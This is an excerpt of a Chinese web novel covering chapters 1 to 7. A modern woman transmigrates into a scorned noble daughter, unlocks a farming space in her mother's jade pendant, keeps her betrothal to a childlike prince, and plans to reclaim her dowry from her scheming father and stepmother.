《冲喜?下乡前我掏空家产气死渣爹》 第1章穿成被厌弃的嫡女? 庆国,嘉靖八年,酷夏,雨夜。 京城,席府宗祠。 “席菱歌,你知错了吗!” “你刁难后娘,推继妹下水,扇继弟巴掌,哪一样是你作为席家嫡女该做的?” “这次你冲撞了永安王世子,那可是你的未婚夫!如果不是依依,你以为还能安然无恙地跪在这里?你可知道永安王府传来消息要解除婚约?” “要么明日你亲自上永安王府跪下求得原谅,要么你就滚回陵水好好反省,把这桩婚事让给你妹妹!” 席菱歌迷茫地望向四周,一时愣神。 什么情况? 她这是一觉醒来,在横店表演? 下一秒,鞭子重重抽打在背脊。 席菱歌疼得倒吸一口冷气,记忆如潮水般涌来。 原身是席家嫡女,与她同名同姓,唯一不同的是,原身性格嚣张跋扈,整日在京城横行霸道。 今日骑马纵街,把永安王世子慕池,也正是原身的未婚夫撞飞了。 至今昏迷不醒,可算是结下了大仇。 亲爹这才下了狠心,生怕婚事告吹,要把原身送回老家陵水,好好让老祖母教教规矩。 陵水是什么地方? 那可是土地贫瘠,鸟不拉屎的穷乡僻壤之地。 席菱歌本以为,记忆到这里戛然而止。 万万没想到,原身居然是重生的。 重生后的记忆一同传到了她的脑海。 在前世,原身亲娘曲婷早早去世,留下了原身一个人。 后来,亲爹娶了续弦,管理整个席府,后娘带了两个孩子一同入府。 原主本身被亲娘宠溺,性格娇惯,后娘柳玉莎不是个好相与的,表面对原身好,暗地里一直使绊子,捧杀原身。 渐渐地,原身性格变得骄纵,被渣爹所厌弃。 这件事后,原身被永安王府解除婚约,连夜被亲爹送往陵水,待了几年时间,被老祖母折磨得不成人样。 原身双手粗糙,整日下田干活,从席家嫡女硬生生蹉跎成了农妇,却仍然没有听到渣爹让她回京城的消息。 渐渐的,原主在陵水彻底死了心,却时常能听到继妹柳依依在京城经商,开大酒楼,随手拿出来的蔬菜能让人延年益寿,无数人趋之若鹜,就连永安王世子都成了她的未婚夫。 上至天子宗亲,下至达官贵族,都对柳依依恭敬有加。 后来,原身才知道自己下乡被送到陵水,是被渣爹后娘算计的! 目的就是为了亲娘留给原身的嫁妆。 亲娘去世前,给原身留下了价值不菲的嫁妆,其中最珍贵的便是一枚龙形玉佩,玉佩是田家代代相传的传家宝。 而这枚玉佩,就在今夜,就要被继妹柳依依抢夺而去。 只因,这枚龙形玉佩里面有一个空间! 原身在陵水病逝前,亲口听到柳依依炫耀般地对她说。 “好姐姐,如果不是你把玉佩送给我,我不会过得像今日这般飞黄腾达。” “你都快死了,我就告诉你一个秘密,省的你做个糊涂人。当初你纵马撞晕永安王世子是我设计的。谁叫这么好的婚事,你不配呢?” “你被送回陵水的当天,永安王府根本就没有解除婚约。是爹爹做主,要求和永安王府换亲,对象从你换成了我。你的这门好婚事,我收下了哦。” 柳依依握着玉佩炫耀,“另外,这枚玉佩有大神通,里面仙雾袅绕,自成一个独立空间。我就是靠着这枚玉佩,才有今日的成就。” “多谢姐姐拱手相让,我才有今日的成就。你的嫁妆,你的未婚夫,你的玉佩,全都是我的。哪怕你贵为世家两族的嫡女又如何?还不是可怜虫一个。你可知你撞飞永安王世子那天,随后被送回陵水的,你外公得知你的消息,活生生被气死了!” 原身听到这番话,气的呕血而亡,再次重生,刚重生就因纵马事件,撞击到了脑袋,流血过多死了。 那一瞬,席菱歌穿到了这副身体。 席菱歌神情复杂,她先是看了看胸口,瞅到脖颈处挂着的龙形玉佩,整个人松了一口气。 她来得时间算及时。 至少玉佩没有送出去,得知记忆后,这枚龙形玉佩才是最大的金手指! 突然,空气中传来咻咻的长鞭声。 席菱歌下意识一躲,只见一道娇柔的声音从右侧传来。 一名女子素白纱衣,容貌娇弱,含羞带怯,正是继妹柳依依。 “爹爹,别再打了,姐姐不是故意的。姐姐向来有分寸,这次肯定是昏了头,才不小心撞上永安王世子。永安王府向来厚道,这次提出解除婚约,肯定是气昏了头,没有宛转的机会。” “我与秦郎中关系好,已经叫人去请秦郎中为永安王世子诊断。爹爹莫要生气,世子会平安无事。” 席翰欣慰地看了柳依依一眼,“依依,还是你懂事,哪像你姐姐,没半分嫡女模样,简直丢人现眼!” “如果这次不是因为依依你能请到秦小郎中来诊断,我们席家肯定会和永安王府交恶。” 柳依依腼腆地抿了抿唇,“爹爹……” 柳玉莎哎呀一声,笑道:“还是老爷教导有方,不然怎会养出依依这样温婉、善解人意的性子。” 几人对话时,席菱歌抬眸望去。 左手边站着原身的亲爹席翰。 右手边站着三人,分别是后娘和继弟继妹。 她正跪坐在地面,所在的地方是祠堂,面前有十几个乌木制成的牌匾。 窗外传来滴答滴答的雨声,寒风吹过,连带着被鞭打的身子隐隐作痛。 席菱歌摸了摸额角,手上沾了血,连纱布都没有缠。 这渣爹简直够渣,明晃晃把偏心写在脸上。 按照前世的记忆,估摸着不过几分钟,柳依依就要开口讨要龙形玉佩。 果不其然,席翰刚夸完柳依依,收起了长鞭。 下一秒,柳依依柔柔弱弱道:“爹爹,既然姐姐不愿去永安王府道歉,我愿意代替姐姐前往。不过,我想向姐姐讨要一件物什,这些天实在是喜欢,不知道姐姐能否忍痛割爱?” “依依,你要什么尽管开口,爹爹为你做主。你今日立下这么大的功劳,还愿意为她道歉,她敢不给你!” 席翰一开口,完全无视了席菱歌的意见。 柳依依开口:“我想要姐姐脖子上挂着的玉佩。” 一瞬间,所有人的目光都朝着席菱歌的脖子望去。 一枚在黑夜中散发着莹莹光泽的玉佩挂在席菱歌的脖颈。 “我有说过要给她吗?”席菱歌护住玉佩,冷冷道:“爹,这是娘去世前留给我的嫁妆,是我对娘最后一丝念想,你都要剥夺吗?” “我今日是做错了事,确实不该纵马,祸及席府,但我也受到了应有的惩罚,你不是已经决定要把我送回陵水了吗?” 事情被席菱歌明晃晃说出来,席翰脸色难看。 他呵斥道:“席菱歌,你真是胆子大了!连你爹都要忤逆!不就是一个玉佩,你矫情什么,依依帮了你这么大的忙,你连个玉佩都不舍得送出去。” 无论席翰怎么说,席菱歌无动于衷,咬死了一句话。 “这是娘留给我的嫁妆。” 柳依依直勾勾地盯着玉佩,不曾开口阻止。 她有一种莫名的直觉,如果拥有玉佩,会改变她的一生。 第2章滴血,开启空间! 柳依依目光闪烁,想到一个好主意。 “爹爹,既然姐姐不愿,就不必强求。”她低头抽泣,“是我不对,我应该早点阻止姐姐,就不会酿造这么大的错误。” 一瞬间,所有人都纷纷指责席菱歌。 “不就是一个劣质玉佩吗?以后爹爹给你买无数个,你就送给依依。” “菱歌,就给你妹妹吧,她从小到大没要过什么东西,这还是第一次。” 席菱歌嘴角一抽,这群人还真是敢要啊? 一个没脸没皮,一个白莲花转世,还有一个莽夫。 继弟柳怀嬴跳出来,冲上去伸手就要抢。 “席菱歌,你这般小气,不就是一个玉佩吗?” 眼见着那双手就要扯断玉佩的绳索。 席菱歌双手护住玉佩,扭头冲着席翰道:“你们连一个死人的东西都要抢吗?” “爹,要是我今日一头撞死在宗祠,你说明日会不会传出去,堂堂礼部左侍郎居然亲自逼死了嫡女!” “只因纵容续弦儿女抢夺前妻留给嫡女的嫁妆,这件事传出去不好笑吗?” 几句话戳中了席翰的心。 席翰冷着脸,甩袖而去,“走,别管她,既然她不愿就算了!” “席菱歌,要么你主动跪在永安王府门前求得原谅。要么过几日,你就滚回陵水去,好好吃点苦头。” “休想再让依依为你兜底,替你道歉。今日你就在宗祠跪个一夜,什么时候认清自己的错误,同意去永安王府道歉,什么时候我再让你出来!” 他心烦意乱,今日的事情闹得够大,不知道多少人都在看他的笑话。 如果真把人逼死了,他的脸面难道不要了吗? 那群史官不得一口一个唾沫,把他给喷死! 席翰一走,其余三人纷纷跟了上去。 唯独柳依依走至门口时,突然回头,柔柔一笑。 “姐姐,你可要好好保重身体。” 这一句话可把席菱歌恶心得够呛。 如果不是柳依依眼神一直盯着玉佩,她差点就认为对方在真的关心她。 宗祠瞬间变得空荡荡。 席菱歌等了一段时间,勉励站起身,在门口眺望一会儿,这才关上了宗祠的大门。 幽冷的雨夜,一阵阵冷风袭来,吹不散席菱歌激动的心。 记忆中,这玉佩可是空间啊! 席菱歌纠结的盯着食指半晌。 咬破手指滴血,很痛啊。 她心一横,用利齿一咬,鲜血溢出来。 席菱歌连忙滴落在龙形玉佩表面。 玉佩盈绿绿的水光混杂着鲜血,像是流动的水银。 周围突然爆发出一阵强烈的白光,把整个宗祠照亮。 席菱歌一眨眼,居然真的出现在了空间之中! 她脚下踩着松软的泥土。 面前是一间茅草屋,整个屋子的支撑柱和墙壁,全都是用木头制造的,唯有房顶是一层层厚实的茅草。 左侧有简易的土灶,旁边放着一个大水缸,再往前看是石桌石凳。 右侧有开垦好的水池,水池清澈见底,宛若一汪碧蓝的天空。 水池上方连接着潺潺流水的瀑布。 席菱歌再往前,宛若撞到屏障,被阻断了一般,走不过去。 她观察着四周,十分好奇这片空间。 离茅草屋不远处,有一大片早就开垦好的土地,一块块土地像极了规划标准的方格,留下泾渭分明的线。 席菱歌数了数,面前的土地一共有三十六块方格土,俨然形成一个大正方形。 她四处找寻,只找到一把镰刀,除此之外,没有其他农具。 不是说好的仙雾袅绕吗? 席菱歌以为是人间仙境,万万没想到,空间就是这般朴实无华。 席菱歌握着镰刀,一脸忧郁,可她不会种田啊。 像是老天爷听到了她的心声。 下一秒,她的面前出现了一个纯白色的面板。 【一级农田:36块】 【产量:1个/次】 【目前可选择种植:小麦、大豆。】 【小麦生长时长:5分钟】 【大豆生长时长:10分钟】 席菱歌吓得手一哆嗦,镰刀哐当一声掉落。 面板消失不见。 她重新拾起镰刀,面板重新出现。 这就是空间的金手指吗? 这可太好了! 完全解决了她不会种田的危机。 席菱歌握着镰刀,选择播种小麦。 面板突然跳出来。 【是否选择一键播种?】 【是or否】 席菱歌点了是,下一秒弹出新的面板。 【开启一键播种功能,需要耗费金币10】 【开启一键收割功能,需要耗费金币10】 【目前金币为0】 面板看得席菱歌一阵牙酸。 空间也需要氪金? 原身记忆中的前世,难怪柳依依会疯狂经商赚钱,原来是因为进入空间,处处都需要花钱的地方。 这简直是一个销金窟。 席菱歌选择手动播种。 等播种完,她放下镰刀,出了空间,回到宗祠。 她左看右看,宗祠内空荡荡,面前除了灵牌,就只有烛火盏灯。 席菱歌上前,握住盏灯,心中默念放入空间。 下一秒盏灯消失不见。 她来回测试了好几次,不断把盏灯拿进拿出,这才彻底安心。 空间能够储存东西。 席菱歌心头一阵火热。 既然穿越了,就要活得好好的。 首先,她不能酿造出前世的悲剧。 根据前世的记忆,永安王府根本没有解除婚约,而是永安王一时的气话。 永安王世子转醒后第一件事,就是要见原身。 那时原身性情傲,不愿听从渣爹的话,跪在永安王府前求得原谅,一气之下选择回陵水,之后酿造了一系列悲剧。 婚事告吹,渣爹主动把婚事对象从原身变成了继妹柳依依。 永安王世子一开始拒绝这件事,在接连几天等不到原身来道歉后,彻底死了心,同意了换婚。 席菱歌不是原身,性子骄傲。 换婚这件事,便宜了谁都不能便宜柳依依。 不就是道歉吗,她明日亲自去! 第3章主动道歉,解除婚约? 席菱歌咬了咬指腹。 去世前,亲娘曲婷把自己的陪嫁留给了原身做嫁妆,封存在库房里。 对照记忆,当初柳依依开启空间,在京城初露锋芒,正是原身被送去陵水,渣爹后娘瓜分原身嫁妆的时间段。 嫁妆装在铁箱子里,没有曲婷留给原身的钥匙根本打不开。 也就原身这个傻子,三言两语被渣爹哄得把钥匙交了出去。 之后被踹下乡过苦日子,硬生生受尽蹉跎。 正巧,席菱歌缺少金币,她把主意打到了嫁妆上。 来都来了,不把库房搬空,简直就是便宜了渣爹后娘。 明日先去永安王府道歉,再找个时间搬空库房。 如今她空间在手,不愁吃穿! 打定主意后,席菱歌趴在团蒲上沉沉睡去。 次日。 席菱歌醒来,她拍了拍房门,却见宗祠大门被锁住。 无论怎么叫喊,门外一片寂静。 这是打定主意要把她饿死在宗祠? 席菱歌对渣爹的心狠有了更深一步的认知。 她握着玉佩,转身进了空间。 空间种植的小麦成熟。 她握着镰刀收割小麦,走向茅草屋左侧的灶炉。 灶炉面前闪出白色面板。 【一键烹饪:需要10金币开启。】 【烹饪等级:1级】 【目前菜单:鸡蛋面、蛋黄酥】 【鸡蛋面所需材料:鸡蛋2,面粉2】 【蛋黄酥所需材料:鸡蛋2,面粉1,糖1】 席菱歌左手小麦,右手镰刀,“面粉怎么获得?” 面板闪烁换了一行字。 【请花费1金币,开启石磨功能。】 席菱歌愤愤地出了空间。 巧妇难为无米之炊。 没金币啥都干不了。 她迟早得把自己的嫁妆拿回来,开启空间! 席菱歌挨了半天的饿。 晌午时,门外传来解开锁链的声音。 席翰亲自前来,他站在门口,双手背在身后,面色十分冷漠,“想好了没?” “你是现在去永安王府道歉,还是继续跪在这里?” 他仿佛料定了席菱歌不会答应,语气讽刺,“你要是不同意,我就让依依代替你去。永安王府的婚事,今后你就让给依依。” 席菱歌笑了。 她什么时候说过她不去? 这婚事,她偏不让! 下一刻,席菱歌语气斩钉截铁,“我去!昨日的事本就是我做得不对,到永安王府道歉,是我应该做的。” 席翰神情诧异,似乎没想到她会同意。 席菱歌心中暗道:道歉是一回事,得回房顺路薅点金币,不然空间样样都要花钱。 她又道:“爹爹,我先回房准备准备,你也不想让我穿着这一身衣裳去道歉吧?” 席翰目光掠过席菱歌,望见她灰头土脸的样子,厌弃般皱了皱眉。 “不懂规矩!你现在哪有半分嫡女的模样,倒像个村姑!快去快回,半个时辰后在府门集合。” 说罢,他甩袖而去。 席菱歌根据记忆回到厢房,厢房中空无一人,她立马翻箱倒柜,四处寻找。 找了半晌,才找到一堆碎银,大约有二三十两银子。 翡翠珠宝一匣,金步摇一支。 这些珠宝款式老旧,席菱歌收入空间,面板浮现在面前。 【共计50金币,是否兑换?】 还用说吗? 席菱歌直接点了兑换,先后开启了一键种田、一键收割、一键烹饪和石磨的功能。 共计花费31金币,还剩下19金币。 在一键播种完小麦后,她在石磨中放进收获的所有小麦。 她望着手中的几十碎银,对金钱的渴望抵达最高峰。 眼见着时间快到了,席菱歌换好衣服,匆匆去了府门。 席翰早就等候着,他身旁站着柳依依。 柳依依一身素白,弱柳扶风、楚楚可怜,冲着席菱歌露出一个讨好的笑,轻轻唤了一句:“姐姐。” 席翰道:“依依也要一同前去,她帮了你,请动了秦郎中诊断。如今世子醒了,点了名要依依过去。” 席菱歌毫不在意,她上了马车。 这一番举动,让柳依依心中惊异。 自己这个好姐姐好像变了,没往日那般冲动易怒。 那她的计划还能成功吗? 柳依依垂下头,一言不发。 马车驶向永安王府。 王府门口立着两个石狮子,席翰下了马车,早就站在门口的小厮弓着腰迎接。 小厮带路,穿过假山流水、亭台楼榭,把三人带到了正厅。 席菱歌百无聊赖地等了会儿,侧厅才缓缓走出来一位雍容华贵的妇人。 妇人姿色貌美,行动间尽显优雅,正是永安王妃。 她一开口,便询问道:“谁是席菱歌?” 席翰身子一僵,连忙伸手推了推席菱歌,呵斥道:“菱歌,还不赶快跪下跟王妃道歉!你可知这次你闯了天大的祸事?” 席菱歌被推得向前走了几步,迎面撞上永安王妃的脸。 席菱歌立马低头道歉,完全没有半分架子。 “王妃,对不起,昨日纵马伤了世子,是我的错。” 原身确确实实撞伤了永安王府世子,这是不争的事实。 道歉,确实是最好最快的解决方式。 但毕竟撞了人家的儿子,想要修复关系…… 永安王妃尚未开口说话。 席翰在一旁怒喝道:“席菱歌,你就是这样道歉的?一点诚意都没有,来之前我怎么跟你说的。跪下跟王妃道歉!你撞伤了世子,还有理了?” 席菱歌深呼一口气,心中暗暗把渣爹骂了个狗血淋头。 紧接着,柳依依扶着席翰,温声细语安抚道:“爹爹,万万不要生气。世子有秦郎中亲自把脉诊断,不会有事的。姐姐只是一时气恼,绝对不是恨极了这门亲事,才撞飞世子。” 这完全是在拱火! 席菱歌差点气笑了。 难怪柳依依坚持要前来。 原来打定了主意,不要她好过。 永安王妃声音不冷不淡:“听说你们席府主动提出要解除婚约?” 第4章她这是被揩油了吗 “是觉得永安王府好欺辱吗?” 永安王妃的声音冷下来,率先质问席翰。 “席侍郎,你可知昨日的事情,让整个京城都在看我们两家的笑话?” “这门婚事自幼订下,京城都在传是你席府不满婚事,特地让菱歌纵马撞人。若是不愿,趁早解除婚约,倒让我儿白白受了这等无妄之灾。” 席翰身子一僵,赔笑道:“王妃,我席翰绝无此意,今日带着菱歌前来,为的就是赔礼道歉。” “再者,小女特地请了秦郎中诊断,不知世子身子骨如何,清醒了没?” “若是无事,便离开吧。” 永安王妃摆摆手,她来根本不是为了听这些,而是单纯看看把世子撞飞之人长什么模样。 昨日事发突然,世子被撞飞,足以让她怒火中烧,迁怒整个席府。 至于秦郎中,秦家之人,她永安王府请不得,非要席府来请? 世子早就与席菱歌订下婚约。 但哪有女郎如此骄纵,竟当众把未来夫君撞飞的? 见席翰想要继续说,永安王妃冷下脸,下了逐客令。 “这婚约就此作罢!日后永安王府不欢迎你们席府的人!” 这话足以看出永安王府的态度。 席翰狠狠瞪了席菱歌一眼,低声怒道:“若是婚约作废,日后这席府嫡女,你别想当了,尽早滚回陵水去!” 席菱歌被低声威胁,倒是不以为然。 回到陵水就回到陵水。 她来道歉,单单是因为原主这件事确实做得不对。 再加上原主前世记忆中没有这么一遭。 但解除婚约,总比换亲把婚事让给便宜继妹好。 三人作罢转身离开。 身后传出一道虚弱的声音。 “慢着。” “池儿,你怎么出来了?你今日才醒,保重身体才是。” 永安王妃埋怨地扶着他,怨他不注重自己的身体。 慕池额头缠着白纱,手肘吊着竹板,一瘸一拐地走着。 他露在外面的脸蛋光滑完美,恰到好处的眉宇,挺直的鼻梁,微薄的唇,眼神中闪着细碎的光。 “母后,我说过要取消这门婚事了吗?” 永安王妃迟疑地看了他一眼,“池儿?” 慕池目光炯炯,指着着席菱歌的背影,“这门婚事我不取消!” 席菱歌:“!” 这跟记忆中的情景不一样啊。 原身上一世傲气,直接下乡回了陵水,再次听到永安府世子的消息,只知他跟柳依依定了婚约。 好事自然是渣爹提的。 至于婚约,大概率会解除。 毕竟谁能接受大庭广众之下,被自己的未过门的妻子创飞啊? 世子眼光独特,当真男人。 “池儿,你别胡闹,你可知昨日,你差点就醒不过来了!” 永安王妃那叫一个着急,生怕慕池犯浑。 “你要是把她娶回家,三天两顿打起来,谁也不放过谁,两个人顶着鼻青脸肿的脸,倒叫旁人看了笑话。” 话越说越离谱,席菱歌都听呆了。 什么叫谁也不放过谁? 慕池没回话,一瘸一拐地走到席菱歌的面前,径直拉着席菱歌的手,倔强道:“我非她莫属!” 这时,席菱歌才清清楚楚看到慕池的脸。 传闻中的世子名声不显,京城贵胄都暗地里嗤笑永安王府生了个草包世子。 没想到,未来便宜夫君长了副好面孔。 浓密细长的睫毛,精致的小脸蛋,倔强的表情,看上去跟家长闹了别扭的熊孩子一般,奶凶奶凶的。 他身高一米八九,高大的身躯足以笼罩席菱歌。 慕池空余的手拉着席菱歌,下意识揉搓一下,瞬间心神荡漾。 这还是他第一次正式见到自己未过门的妻子。 小手软软的,身子娇小,闻起来好香,感觉一只手就能抱起来搂在怀中。 他嘿嘿一笑,一句话不说。 席菱歌抽回手,不太习惯被接触。 怎么感觉这个便宜世子不太聪明的样子。 她下意识道:“你好?” “我很好!”慕池挺了挺胸膛,“你放心,我一点都不怪你,你是我未来的娘子,相公原谅娘子,那叫天经地义。” 永安王妃:“……” 永安王妃扶额,她心中哽住,深深叹了口气,把郁气吐了出来。 这傻儿子! 她下意识看向一旁的席翰。 果不其然,席翰已经呆愣住了。 没人告诉他,世子性情像个小孩,他让依依替亲嫁过去,可不是要操一辈子的心吗? 瞬间,席翰歇了心思。 永安王妃眯了眯眼,像是看透了他的心思,“席侍郎,今日之事需慎言慎行。” 她手指放在嘴唇,威胁之意溢于言表。 席翰讪笑:“自然自然。” 以他们的世家与永安王府结亲,还是看在老丈人的面子上。 婚约尚在,经过慕池一遭,换亲之事堵在喉咙,只是可惜了依依。 柳依依见到这一幕,拳头微微攥紧。 时机尚在,婚约没解除,她的计谋在接下来尚可开展。 以柳家来说,抢夺这门亲事是稳赚不赔的买卖。 永安王府就一个独子,她嫁过去生了一儿半女,整个永安王府日后都是柳家有力的靠山。 想此,柳依依面上露出了柔弱的笑容,微微福了福身,露出自己最为姣好的一面,“见过世子。” 哪知慕池根本没搭理她,像是没看到柳依依这个人一般。 他缠着席菱歌,问东问西,语气轻柔。 “菱歌,你骑马真厉害,昨日撞上我,我看到那匹马是旁人都降服不了的烈马呢!” 席菱歌心道:原身平日骑的都是性情温和的母马。 哪来的烈马? 她下意识思索。 莫非,昨日纵马伤人一事,是有人故意算计原身,替换了马? 世子这是在提醒她? 等席菱歌抬眸望去,慕池眼睛瞬间一亮,接二连三的夸赞砸来。 “菱歌,你脸好白,软软滑滑的。”他戳了戳席菱歌的脸。 “菱歌,你身子好软,抱起来小小的。”他挪动着打着竹节的手,龇牙咧嘴地抱住了席菱歌。 “菱歌菱歌,你好香呀。”他抱着席菱歌,深深吸了一口气。 席菱歌:“……” 她这是被揩油了吗?” 第5章开启灵泉 永安王妃不忍直视。 傻儿子,见了人家姑娘就失智。 搂搂抱抱成何体统,偏偏是自己生的。 永安王妃收回前言,声音冷淡:“既然池儿喜欢,那就婚约照旧。但若日后再发生这种情况……休怪我翻脸无情!” 席翰一喜,“多谢王妃。” 只要保住婚约,对于他而言就是天大的好事。 没想到一无是处的嫡女,能有这种笼络人心的手段,勾得世子念念不忘。 他心底对席菱歌多了一分赞许。 有了永安王府这种亲家,他日后官途坦荡。 一旁,慕池拉着席菱歌的小手,微微上挑的丹凤眼笑成月牙状。 “菱歌,过几日我带你去玩,到时候你一定要来。” 席菱歌有片刻失神。 有一说一,便宜夫君长得挺帅,身材高大,性情又好,嫁过去是个不错的选择。 下一秒,她坚定心神。 不能被这样迷惑住,长得帅不能当饭吃,她还有一整个空间要养呢! 空间可比男人重要多了,是一辈子的金手指。 她握握胸口的龙纹玉佩,想到一大堆待咎开启的农具和一键功能就头疼。 得尽快把掏空家产提上日程,可不能便宜了渣爹后娘。 挽回婚约后,席翰一行人先行告辞。 马车上,柳依依小脸青黑。 今日小瞧席菱歌了。 原本以为这次能够引得世子反感,她没料到,永安王府的世子是个傻子。 不过,她听闻最近的消息,永安王妃要开展宴会,宴请各家的夫人去郊外山庄避暑。 她还有机会,能把席菱歌彻底赶出席家! 柳依依眼珠一转,想到一个好主意,她闷不做声。 席翰面上笑眯眯,对席菱歌态度稍缓不少,他嘘寒问暖。 “菱歌啊,你什么时候与世子关系这般好。” 席菱歌哪里知道,她自己都一头雾水。 原身记忆里完全没有任何关于世子的印象,连对方长什么样都不知道。 昨日纵马伤人,她自己都昏迷了。 “我们一见如故。” 席菱歌随口编了个幌子。 席翰信了。 他又道:“刚刚永安王妃邀请席府三日后参加宴会,王妃指名道姓要求你去。届时你好好梳妆打扮一番,万万不能丢了席府的脸。” “还有,这次宴会各家贵女不少,你千万别再肆意行事,惹了乱子!” “上次你打伤了李家的姑娘,你娘专程替你上门赔礼道歉,损了不少面子。记得日后对你娘、对你妹妹好一点。” 他难得说了这么多。 席菱歌满口敷衍,脑海中思索着怎么搬空家产。 听到宴会的事,她一下子来了劲。 “宴会?” 那可真是个好去处! 席菱歌打定了主意,报以微笑,“好,到时候我一定好好打扮。” 来得真够及时。 趁着宴会,她悄悄潜入库房,利用空间,神不知鬼不觉把自己的嫁妆全都夺回来。 到时候有不在场证明,没人知道是她做的。 虽说空间的东西应有尽有,但一切开启都需要金币。 夺回嫁妆的第一步后,她要打开京城的市场做生意。 席菱歌把目标放在了这次宴会的贵女们身上。 到时候,钱钱相生无穷尽也,养空间绰绰有余。 席翰连说了三个好字,绝口不提送席菱歌回陵水的事。 柳依依暗自咬碎了牙,目光盯着席菱歌胸前的龙纹玉佩上。 等着吧,宴会之时,就是席菱歌身败名裂的时候,她一定能把席菱歌赶出去! 席菱歌回到席府后第一件事,就是紧闭房门回到空间。 双脚踩到空间松软的土地。 她手握镰刀,面板消息不断弹出来。 【恭喜宿主达到10金币里程碑成就,开启琢玉功能。】 【恭喜宿主达到50金币里程碑成就,开启灵泉。】 【琢玉功能:能将原生玉石根据玉石的质地、色泽、纹理运用工艺,雕刻成最完美的形态。】 【灵泉:有活死人医白骨之效用,能够增强体质,扩大潜力。】 【注意事项:灵泉配合药材,能够治疗疾病,灵泉灌溉农田,能给予种植作物同样的灵泉功效。】 【下一个里程碑成就达成目标:100金币。】 【开启药田、药物种植、药炉等板块。】 席菱歌瞪大了眼。 这发了呀! 瞌睡来了送枕头,她正愁做什么方面的生意,结果因为里程碑成就,开启了琢玉功能。 还有灵泉,有了灵泉,她愁什么日后不用再为体质、疾病发愁! 席菱歌先一键收割了农田的小麦,又一键种植。 前后不过十秒钟的事情,眼前的方格农田像是有一双无形的双手,小麦被连根拔起,漂浮在空中,随后一波种子撒进了农田之中。 【收割农田,获得小麦数量单位:36】 咕噜噜。 席菱歌揉了揉肚子,饿的不行,她去石磨旁边收获面粉。 【收获面粉36袋】 面粉自动变成一袋袋小麻布袋,堆积在石磨旁。 席菱歌拾起,放置掌心掂了掂,一小袋约莫有十斤左右的重量。 这么说,一数量单位的小麦就能制造出十斤的面粉。 她打开袋子,掏出一把面粉搓了搓。 还是上好的白面粉,粉质细腻。 发了发了,发大了! 席菱歌笑得嘴大大咧开,根本合不拢。 只要用灵泉水灌溉,种植出来的小麦岂不是兼顾体质的同时,好吃到爆炸。 她嘴馋,从农田旁的溪流舀了一碗灵泉水,拎着麻布袋去了灶炉。 她要做面疙瘩汤吃! 【发现新食谱面疙瘩汤。】 【需要食材:1面粉、1碗灵泉水。】 【是否开启一键烹饪功能?】 席菱歌毫不犹豫点了是。 【面疙瘩汤正在制作中,所需时间10s。】 【10、9、8……1、0,制作完成。】 一碗热气腾腾的面疙瘩汤呈现在席菱歌面前,色泽金黄,冒着香气,勾起了她的馋意。 席菱歌吃了第一口,瞬间眼睛一亮。 好吃,太好吃了! 比前世吃过的大厨手艺更深一筹,不愧是空间出品。 席菱歌喝下一整碗面疙瘩汤,舔了舔嘴唇,感觉到浑身上下暖烘烘,充满了力气。 空间简直是穿越人士必备金手指啊! 她对在这里活下去更有信心了。 第6章琢玉功能开启,去买玉石 填饱肚子后,她感觉浑身上下充满了力气。 席菱歌没闲着,出了空间,照着铜镜。 喝下灵泉制作而成的面疙瘩汤后,她的皮肤白皙不少,五官像是微调过,更加精致。 有一说一,原身性子跋扈,但长了一副好面孔。 席菱歌揣着二十三两银子,径直出了门。 三日后,永安王府宴会,她得多做准备。 空间新开放琢玉功能,不知道二十三两银子能否买下一块未经雕琢的玉。 席菱歌心头有了主意,她按照记忆,去了中街的玉石坊。 玉石坊十分出名,是京城数一数二买卖玉石的好地方,二十两银子买一块玉石应该不难。 席菱歌刚抵达,踏进门去,店小二迎着笑脸上前。 “客官,不知你有什么需求?” “玉石坊玉石种类繁多,翡翠、玻璃种、甚至帝王玉,我都能给客官你找来。” 店小二搓了搓手,自然认得席菱歌。 他识人千面,消息灵通,礼部侍郎家的嫡女鲜少来玉石坊。 这次来,想必是为了三日后给永安王府送礼。 “贵客,不知道你想要哪一款?我推荐玻璃种手镯,价格中等,百两银子起步,是送礼的最佳选择。” 席菱歌手一顿,谁家好人一出手就是百两银子。 她兜里只有二十三两,买不起啊买不起。 店小二仔细观察席菱歌的神情,心中疑惑,难不成自己猜错了? 他转身介绍另一品种,“贵客,这玻璃种项链是大师雕刻,如今只需五十两银子,也是送礼的最佳选择。” 席菱歌面不改色道:“我要买玉石,预算二十两银子。” 店小二脸一僵,热情退却,语气冷淡许多。 “贵客请跟我来,我带你去玉石库挑选,二十两的玉石不少。” 一道嘲笑声从身后响起。 “我瞧着是谁呢?原来是礼部侍郎家的嫡女席菱歌,真是百闻难得一见。你到玉石坊中买二十两的便宜货,难不成是囊中羞涩?” 席菱歌转过身看去,是一名娇俏少女,她身穿八宝琉璃宫纱裙,穿金戴银,头上珠宝金钗不少,露出的左右手腕分别戴着一副黄金手镯,沉甸甸的,约有两三斤左右。 “……” 席菱歌沉默,这不就是行走的富婆吗? 她盯着黄金手镯看,眼睛一眨不眨。 眼前这人就是她潜在的贵客! “席菱歌,你在听我说话吗?”娇俏少女眉头一皱,“你什么时候变这么傻了?作为堂堂嫡女,被私生女蹬鼻子上脸。” “听说后娘撺掇你爹,要把你送到陵水去。陵水是什么地方,你该不会是认命了吗?” 席菱歌努力回想着记忆。 眼前人是原身的敌友,户部尚书之女尚雅雅。 尚雅雅性情骄纵,比原主更为跋扈。 记忆中,两人互相看对方不顺眼,没想到在这里遇见。 “我不认命,但去不去陵水,这件事另说。” 依她对柳依依的了解,柳依依想要的东西,从来就没有不得手的。 三日后,永安王府宴会,指不定要闹出幺蛾子来。 第7章她公主抱了一个女人 尚雅雅听到这话,挑了挑眉毛,嗤笑道:“你不认命?席菱歌,可别逗我发笑。我可是听说,你撞了永安王府世子,差点连婚事都给丢了。” 她话语中满满的嘲讽意味,上下打量着席菱歌。 “你倒好,我行我素,跑到玉石坊来买玉石,买玉石就算了,偏偏挑选二三十两的廉价货。” 她说话难听,若是以前,一句就能插到原主心窝子上。 可席菱歌不是原主,对她说的话无感,转身朝着店小二颔首。 “带路吧,我去挑选玉石。” 玉石坊很大,分为上下三层楼,一层是前厅,二层是专程放置昂贵玉石的展厅,三层便是专门为达官贵人们开放的专属通道。 二人穿过一楼前厅。 席菱歌才发现帘幕之后有一大片空地,摆放着各种奇形怪状的玉石,大多数玉石随意摆放着,甚至有未曾磨刀的原石。 店小二把席菱歌带到库房,面色冷淡,早没了介绍的心思。 他转身就想离开,刚走几步却迎面撞上追过来的尚雅雅。 店小二下意识露出微笑,正准备出声,“贵客……” 哪知尚雅雅搭都没搭理他,径直走过。 